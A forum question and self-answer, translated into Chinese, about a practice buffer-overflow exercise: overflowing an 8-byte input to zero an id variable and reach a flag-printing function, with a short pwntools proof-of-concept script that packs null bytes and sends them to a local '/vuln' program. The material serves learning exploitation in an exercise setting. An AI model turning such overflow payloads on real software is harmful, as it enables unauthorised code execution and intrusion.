如何以交互方式发送原始字节以进行缓冲区溢出攻击?

How do I send raw bytes interactively for a buffer overflow exploit?

作为练习的一部分,我正在尝试通过缓冲区溢出覆盖变量的值来利用一个简单的程序。我很确定我已经弄清楚了漏洞利用背后的想法,但由于我无法注入我的代码,所以我无法确定。

我试图构建一个使用 Pwntools 的脚本,它非常适合打包整数,但我还没有设法让它工作。我还尝试阅读有关 TTY 的信息以及如何操纵终端发送给进程的内容。

我正在利用的程序的一个简单伪代码:

returnFlag() {
    print(flag)
}

main() {
    char[8] = input
    id = 999999

    input = fgets()

    if (id = 0) {
        returnFlag()
    }
}

我的计划是溢出变量 input 并用 0 覆盖 id 的值,以便执行函数 returnFlag()。但是当我输入例如 "AAAA\x00\x00\x00" 时,当我用 GDB 查看内存时,我只会得到乱码。

在过去的 1.5 周里,这个问题让我发疯了,我们将不胜感激任何帮助。

所以我想出了解决问题的方法。希望这也会对其他人有所帮助。

问题是我不知道如何发送 "exploit code" 因为它是由空值组成的。幸运的是,有一个名为 Pwntools link 的简洁工具可以帮助您。

使用该工具,您可以与程序和 "pack" 整数交互,以便您可以发送所有必要类型的字节,包括空字节。

一个简单的 POC 使用 Pwntools 来利用上面的程序,我们称之为 vuln,看起来像:

#! /usr/bin/env python2
# Importerar rubbet
from pwnlib import *
from pwnlib.tubes.remote import *
from pwnlib.util.packing import *
from pwnlib.gdb import *

context.bits= '32'
context.endian= 'little'
context.log_level = 'debug'

pl = fit({0:'1', 8:[0x00000000]})

io = process('/vuln')
io.sendline(pl)
print(io.recvlines(1))

所以我首先导入所有库,设置我试图利用 context 的环境。然后我使用 fit 函数。它以一种我可以将其发送到程序的方式打包我的所有输入。我仍在努力弄清楚 fit 在幕后做了什么。